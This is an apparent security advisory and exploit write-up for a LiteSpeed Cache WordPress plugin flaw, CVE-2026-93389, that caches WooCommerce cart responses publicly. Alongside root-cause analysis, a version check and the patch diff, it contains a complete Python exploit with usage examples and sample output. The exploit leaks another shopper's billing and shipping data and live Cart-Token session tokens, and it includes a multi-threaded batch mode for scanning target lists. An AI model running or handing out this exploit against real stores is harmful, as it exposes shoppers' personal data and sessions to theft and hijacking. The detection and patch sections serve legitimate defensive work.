#Summary

CVE-2026-93389 is an unauthenticated information disclosure in LiteSpeed Cache, a popular WordPress caching plugin. Versions up to 7.9.1 cache WooCommerce Store API responses with a public cache-control header and no session-identifier vary, exposing one shopper's personalized cart data - billing and shipping address, phone, email, cart items, and live session tokens - to any later unauthenticated visitor. The Store API identifies guest shoppers by a Cart-Token request header (a JWT) or session cookie; LiteSpeed marks these GET responses cacheable but attaches no vary, so the server stores a personalized cart keyed on the URL alone. An attacker sends a cookie-less GET /wp-json/wc/store/v1/cart and receives a previous shopper's data as a cache HIT. Impact is information disclosure (C:H) plus session-token leakage enabling checkout-session hijacking (I:L). CVSS 8.2 (HIGH). Fixed in 7.9.2 via a hard no-cache exclusion of all /wc/store routes.

#Am I affected?

#How to check

Query the WooCommerce Store API from an unauthenticated client and inspect the response headers:

curl -i https://shop.example.com/wp-json/wc/store/v1/cart

Vulnerable (7.9.1):

X-LiteSpeed-Cache-Control: public,max-age=604800
X-LiteSpeed-Cache: hit   (if a prior session was cached)

Patched (7.9.2+):

X-LiteSpeed-Cache-Control: no-cache
X-LiteSpeed-Cache: miss, uncacheable

If X-LiteSpeed-Cache-Control: no-cache is present, the plugin is patched. If the header shows public,max-age=..., the Store API responses are being cached publicly. Confirm the plugin version in the site footer or via wp cli plugin get litespeed-cache.

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

The bug lives in two files in the vulnerable versions:

1. Cache enablement (src/control.cls.php)

The LiteSpeed Cache plugin is "header-driven": it emits X-LiteSpeed-Cache-Control response headers, and a LiteSpeed-family server (LiteSpeed Enterprise, OpenLiteSpeed, QUIC.cloud) honors those headers to cache and serve objects. The plugin marks all REST endpoints as cacheable when the "Cache REST API" option is on (the default):

if ( $this->conf( Base::O_CACHE_REST ) ) {
    add_action( 'rest_api_init', [ $this, 'set_cacheable' ], 5 );
}

The option defaults to on in data/const.default.json:

"cache-rest": "1"

#Missing session vary

2. WooCommerce drop rules don't apply to the Store API (thirdparty/woocommerce.cls.php)

The plugin attempts to exclude WooCommerce pages from caching:

$page_ids = array_filter( [ wc_get_page_id( 'cart' ), wc_get_page_id( 'checkout' ), wc_get_page_id( 'myaccount' ) ] );
if ( isset( $_GET['download_file'] ) || isset( $_GET['add-to-cart'] ) || is_page( $page_ids ) ) {
    $err = 'woo non cacheable pages';
}

But this logic uses is_page(), which tests the classic WordPress page context. A REST request to /wp-json/wc/store/v1/cart is not a WordPress "page", so this exclusion never triggers. The Store API response stays cacheable and public.

#The missing vary

The Store API identifies guest shoppers by the Cart-Token request header (a JWT) and/or the wp_woocommerce_session_* cookie. LiteSpeed's WooCommerce integration never adds either to the cache key via X-LiteSpeed-Vary. The only cart-aware vary exists but is gated and defaults to off:

if ( apply_filters('litespeed_conf', self::O_CART_VARY) ) {
    add_filter( 'litespeed_vary_cookies', function ( $cookie_list ) {
        $cookie_list[] = 'woocommerce_cart_hash';
        return array_unique( $cookie_list );
    } );
}

Even when enabled, it varies on woocommerce_cart_hash (a front-end JavaScript cookie), not the Store API's session identifier.

#Impact

With stock settings, a guest shopper's GET /wp-json/wc/store/v1/cart is stored as a public, unvaried cache object keyed on the URL alone. The next cookie-less, Cart-Token-less client to request that URL receives the stored object as a cache HIT: the first shopper's full billing and shipping address, phone, email, cart contents, totals, and the victim's live Cart-Token and Nonce (in response headers).

#Patch diff

#What the fix does

LiteSpeed Cache 7.9.2 added an explicit, unconditional, hard no-cache for every route under /wc/store/. The fix runs before the endpoint handler and short-circuits the entire REST request:

New filter registration (thirdparty/woocommerce.cls.php):

add_filter( 'rest_pre_dispatch', [ $this, 'nocache_store_api' ], 1, 3 );

New callback:

public function nocache_store_api( $result, $server, $request ) {
    $route = is_object( $request ) && is_callable( [ $request, 'get_route' ] ) ? $request->get_route() : '';
    if ( is_string( $route ) && ( '/wc/store/' === substr( $route, 0, 10 ) || '/wc/store' === $route ) ) {
        Control::set_nocache_hard( 'WooCommerce Store API' );
    }
    return $result;
}

New hard-nocache bit (src/control.cls.php):

public static function set_nocache_hard( $reason = false ) {
    self::$_control |= self::BM_NOTCACHEABLE | self::BM_NOCACHE_HARD;
    ...
}

is_cacheable() now returns false whenever BM_NOCACHE_HARD is set, and this flag cannot be overridden by forced-cacheable rules. The fix is route-based exclusion: any request to /wc/store/* is hard-marked non-cacheable, so the server never stores it publicly and never serves it to a second client.

#Proof of concept

#exploit.py - LiteSpeed Cache WooCommerce Store API Disclosure PoC

#!/usr/bin/env python3
# ==============================================================================
#  ALIM  |  1dayexploit.com  --  independent CVE reproduction & exploit research
#  CVE-2026-93389   full write-up & PoC: https://1dayexploit.com
#  (c) 1dayexploit -- original work. Credit if you reuse. Authorized testing only.
# ==============================================================================
"""
CVE-2026-93389 - LiteSpeed Cache (WordPress) unauthenticated WooCommerce Store API
                 personalized-response disclosure via a public, session-unvaried cache.
Affected: LiteSpeed Cache plugin <= 7.9.1 (fixed in 7.9.2), with WooCommerce Store API.
Type: Info Disclosure (web cache of a personalized response, CWE-200 / CWE-525)

Root cause:
  With "Cache REST API" on (shipped default cache-rest=1), LiteSpeed Cache marks a
  WooCommerce Store API GET (/wc/store/v1/cart, /wc/store/v1/checkout) as `public` and
  attaches no vary reflecting the shopper's session identity (the Cart-Token header /
  wp_woocommerce_session cookie). The cache layer therefore stores one guest shopper's
  personalized cart - billing/shipping PII, cart items, totals, and the live Cart-Token
  session JWT + Nonce in the response headers - keyed on the URL alone, and serves it to
  the next cookie-less, token-less client as a cache HIT. 7.9.2 hard-excludes every
  /wc/store route from caching (no-cache), so nothing is ever stored.

How this PoC proves it:
  It plays both roles against the target in one run. As a guest "victim" it populates a
  cart and sets a billing/shipping address carrying a unique random sentinel, then issues
  one priming GET /cart. As a separate "attacker" client - no cookies, no Cart-Token - it
  then GETs the same /cart URL and checks whether that cookie-less client is served the
  victim's sentinel PII (and the victim's Cart-Token) out of the shared public cache.
  Reading a sentinel it never sent, from a clean client, is the disclosure.

  Both clients share a single per-run cache-busting query parameter so the priming GET is
  guaranteed to create a fresh public object (independent of whatever the server may have
  cached from earlier traffic). The parameter is incidental to the bug: the vulnerability
  is that the Store API response is cached `public` and unvaried at all; the parameter only
  makes the demonstration deterministic.

Success evidence (network-observable only):
  The attacker's cookie-less GET /cart response body contains the victim's unique sentinel
  (billing last_name + email) that only the victim client ever sent. Corroborated by the
  LiteSpeed cache-status header (hit) and by the victim's Cart-Token JWT appearing in the
  attacker's cached response headers.

Usage:
  python exploit.py --host 127.0.0.1 --port 8090
  python exploit.py --host http://shop.example.com
  python exploit.py --host https://shop.example.com/store      # WP in a subdirectory
  python exploit.py --host shop.example.com --product-id 42
  python exploit.py --list targets.txt --workers 20

Notes:
  - Info-disclosure class: there is no attacker-supplied command/payload. --product-id is
    optional; by default the PoC auto-discovers a purchasable product via the Store API
    products endpoint (needed only to populate a cart that carries the sentinel PII).
  - Both clients are kept non-logged-in and send no woocommerce_cart_hash cookie; logged-in
    or session-cookie-split traffic would not collide and is not the bug.
"""

import argparse
import json
import secrets
import sys
from urllib.parse import urlparse

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    print("This exploit requires the 'requests' library (pip install requests).")
    sys.exit(2)

CVE_ID    = "CVE-2026-93389"
VULN_TYPE = "Info Disclosure (unauthenticated web-cache data leak)"

STORE_API = "/wp-json/wc/store/v1"
HTTP_TIMEOUT = 20


# ----------------------------------------------------------------------------- output helpers
def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s" % VULN_TYPE)
    print("  Target: %s:%s" % (host, port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


# ----------------------------------------------------------------------------- target parsing
def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def _base_url(host, port, use_tls, path):
    scheme = "https" if use_tls else "http"
    prefix = (path or "/").rstrip("/")
    default_port = 443 if use_tls else 80
    netloc = host if port == default_port else "%s:%s" % (host, port)
    return "%s://%s%s" % (scheme, netloc, prefix)


def _hdr(headers, name):
    """Case-insensitive header lookup."""
    for k, v in headers.items():
        if k.lower() == name.lower():
            return v
    return None


def _cache_status(headers):
    """Human-readable LiteSpeed cache state for evidence lines."""
    hit = _hdr(headers, "X-LiteSpeed-Cache")
    ctl = _hdr(headers, "X-LiteSpeed-Cache-Control")
    bits = []
    if hit:
        bits.append("X-LiteSpeed-Cache: %s" % hit)
    if ctl:
        bits.append("X-LiteSpeed-Cache-Control: %s" % ctl)
    return " | ".join(bits) if bits else "no LiteSpeed cache headers present"


def _is_hit(headers):
    hit = _hdr(headers, "X-LiteSpeed-Cache") or ""
    return "hit" in hit.lower()


# ----------------------------------------------------------------------------- core logic
def _discover_product_id(sess, base):
    """Return the id of a purchasable, in-stock product via the Store API, or None."""
    try:
        r = sess.get(base + STORE_API + "/products", params={"per_page": 20},
                     timeout=HTTP_TIMEOUT, verify=False)
        items = r.json()
        if isinstance(items, list):
            for p in items:
                if p.get("is_purchasable") and p.get("is_in_stock"):
                    return p.get("id")
            if items:
                return items[0].get("id")
    except Exception:
        pass
    return None


def _run(host, port, use_tls, path, product_id=None, verbose=False):
    """
    Full victim-then-attacker proof. Returns (success, evidence, detail_dict).
    Never exits; safe for both single-target and --list scan callers.
    """
    base = _base_url(host, port, use_tls, path)
    cart_url = base + STORE_API + "/cart"
    detail = {}

    # Per-run neutral sentinel + cache-bust key (no brand strings, random each run).
    marker = secrets.token_hex(6)
    sent_last = "qa%s" % marker
    sent_mail = "%s@example.test" % marker
    bust = {"_cb": secrets.token_hex(8)}
    detail["sentinel"] = sent_last

    def log(n, msg):
        if verbose:
            step(n, msg)

    # --- VICTIM: a guest shopper populating a session with personal data ---
    victim = requests.Session()
    victim.headers.update({"Content-Type": "application/json",
                           "Accept": "application/json"})

    # 1. Resolve a product to add to the cart.
    pid = product_id
    if not pid:
        log(1, "Discovering a purchasable product via the Store API...")
        pid = _discover_product_id(victim, base)
    if not pid:
        return False, "no purchasable product found (pass --product-id)", detail
    detail["product_id"] = pid

    # 2. Harvest a fresh Nonce + Cart-Token. An unauthenticated POST that is rejected for a
    #    missing nonce still returns both headers, so no empty-cart GET is ever cached.
    log(2, "Harvesting Store API Nonce + Cart-Token (product id %s)..." % pid)
    try:
        r0 = victim.post(base + STORE_API + "/cart/add-item",
                         data=json.dumps({"id": pid, "quantity": 1}),
                         timeout=HTTP_TIMEOUT, verify=False)
    except Exception as e:
        return False, "unreachable (%s)" % e.__class__.__name__, detail
    nonce = _hdr(r0.headers, "Nonce")
    token = _hdr(r0.headers, "Cart-Token")
    if not nonce or not token:
        return False, "Store API did not return Nonce/Cart-Token (not a WooCommerce Store API host?)", detail
    victim.headers.update({"Nonce": nonce, "Cart-Token": token})

    # 3. Add the item for real.
    log(3, "Adding item to the victim cart...")
    victim.post(base + STORE_API + "/cart/add-item",
                data=json.dumps({"id": pid, "quantity": 1}),
                timeout=HTTP_TIMEOUT, verify=False)

    # 4. Set the victim's billing/shipping address carrying the unique sentinel.
    log(4, "Setting victim billing/shipping PII (sentinel last_name=%s)..." % sent_last)
    pii = {
        "billing_address": {
            "first_name": "Guest", "last_name": sent_last,
            "address_1": "1 Market St", "city": "Springfield",
            "state": "CA", "postcode": "90001", "country": "US",
            "email": sent_mail, "phone": "5550100",
        },
        "shipping_address": {
            "first_name": "Guest", "last_name": sent_last,
            "address_1": "1 Market St", "city": "Springfield",
            "state": "CA", "postcode": "90001", "country": "US",
        },
    }
    rc = victim.post(base + STORE_API + "/cart/update-customer",
                     data=json.dumps(pii), timeout=HTTP_TIMEOUT, verify=False)
    if sent_last not in rc.text:
        return False, "victim could not set cart PII (update-customer did not echo sentinel)", detail

    # 5. Prime the public cache with the PII version: one GET /cart as the victim.
    log(5, "Priming the cache: victim GET /cart...")
    rp = victim.get(cart_url, params=bust, timeout=HTTP_TIMEOUT, verify=False)
    detail["prime_cache"] = _cache_status(rp.headers)

    # --- ATTACKER: a clean client with no cookies and no Cart-Token ---
    log(6, "Attacker GET /cart with NO cookies and NO Cart-Token...")
    attacker = requests.Session()  # fresh jar; carries none of the victim's session
    try:
        ra = attacker.get(cart_url, params=bust,
                          headers={"Accept": "application/json"},
                          timeout=HTTP_TIMEOUT, verify=False)
    except Exception as e:
        return False, "attacker request failed (%s)" % e.__class__.__name__, detail

    detail["attacker_cache"] = _cache_status(ra.headers)
    detail["attacker_body"] = ra.text
    detail["attacker_is_hit"] = _is_hit(ra.headers)
    leaked_token = _hdr(ra.headers, "Cart-Token")
    detail["leaked_cart_token"] = leaked_token

    # The disclosure: a clean client that never sent the sentinel is served it anyway.
    if sent_last in ra.text or sent_mail in ra.text:
        ev = "cookie-less client read victim sentinel '%s' from the public cache" % sent_last
        if detail["attacker_is_hit"]:
            ev += " (LSCache HIT"
            if leaked_token:
                ev += "; victim Cart-Token also leaked in response headers"
            ev += ")"
        return True, ev, detail

    # Not leaked -> patched, or the response was not publicly cached.
    ctl = _hdr(ra.headers, "X-LiteSpeed-Cache-Control") or "(absent)"
    return False, "no leak - attacker got its own cart; X-LiteSpeed-Cache-Control: %s" % ctl, detail


def _try_exploit(host, port, use_tls=False, path="/", product_id=None, **kwargs):
    """Silent probe for --list scan mode. Never prints, never exits."""
    try:
        ok, evidence, _ = _run(host, port, use_tls, path, product_id=product_id, verbose=False)
        return ok, evidence
    except Exception as e:
        return False, "error (%s)" % e.__class__.__name__


# ----------------------------------------------------------------------------- single target
def exploit(host, port, use_tls, path, product_id):
    header(host, port)
    print("[*] Playing victim (guest shopper) then attacker (clean client) against one host.\n")
    ok, evidence, detail = _run(host, port, use_tls, path, product_id=product_id, verbose=True)

    if detail.get("product_id"):
        print("\n[*] Product used to populate the cart: id %s" % detail["product_id"])
    if detail.get("prime_cache"):
        section("VICTIM PRIMING GET /cart (cache state)", detail["prime_cache"])
    if detail.get("attacker_cache"):
        section("ATTACKER GET /cart (cache state)", detail["attacker_cache"])

    body = detail.get("attacker_body")
    if body:
        trimmed = body if len(body) <= 4000 else body[:4000] + "\n...(truncated)..."
        section("ATTACKER RESPONSE BODY (cookie-less, no Cart-Token)", trimmed)
    # Only a cache HIT means the token in the attacker's response is the victim's, not the
    # attacker's own freshly minted one - so surface it only on the leak path.
    if ok and detail.get("attacker_is_hit") and detail.get("leaked_cart_token"):
        section("LEAKED VICTIM SESSION TOKEN (from attacker's cached headers)",
                "Cart-Token: " + detail["leaked_cart_token"])

    if ok:
        done(True, evidence + " [sentinel=%s]" % detail.get("sentinel", "?"))
    done(False, evidence)


# ----------------------------------------------------------------------------- scan mode
def scan(targets_file, default_port, workers=10, product_id=None):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
        ok, evidence = _try_exploit(host, port, use_tls, path, product_id=product_id)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)"
          % (success_count, total - success_count, total))
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


# ----------------------------------------------------------------------------- entrypoint
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443/store)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--product-id", type=int, default=0,
                        help="WooCommerce product id to add to the cart (default: auto-discover)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    pid = args.product_id or None

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, product_id=pid)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, pid)

#Usage

Single target:

python exploit.py --host http://shop.example.com
python exploit.py --host https://shop.example.com:8443
python exploit.py --host 203.0.113.10 --port 80
python exploit.py --host https://shop.example.com/store

Force TLS/plaintext:

python exploit.py --host shop.example.com --tls
python exploit.py --host shop.example.com --no-tls

Pin a product ID:

python exploit.py --host shop.example.com --product-id 42

Batch scan:

python exploit.py --list targets.txt --workers 20

Arguments:

Example output - vulnerable (7.9.1):

--- VICTIM PRIMING GET /cart (cache state) ---
X-LiteSpeed-Cache: miss | X-LiteSpeed-Cache-Control: public,max-age=604800
---

--- ATTACKER GET /cart (cache state) ---
X-LiteSpeed-Cache: hit | X-LiteSpeed-Cache-Control: public,max-age=604800
---

RESULT  : SUCCESS
EVIDENCE: cookie-less client read victim sentinel 'qa473ef2a0dd06' from the public cache (LSCache HIT; victim Cart-Token also leaked in response headers)

Example output - patched (7.9.2+):

--- VICTIM PRIMING GET /cart (cache state) ---
X-LiteSpeed-Cache: miss, uncacheable | X-LiteSpeed-Cache-Control: no-cache
---

--- ATTACKER GET /cart (cache state) ---
X-LiteSpeed-Cache: miss, uncacheable | X-LiteSpeed-Cache-Control: no-cache
---

RESULT  : FAILURE
EVIDENCE: no leak - attacker got its own cart; X-LiteSpeed-Cache-Control: no-cache

#Exploitation notes

#References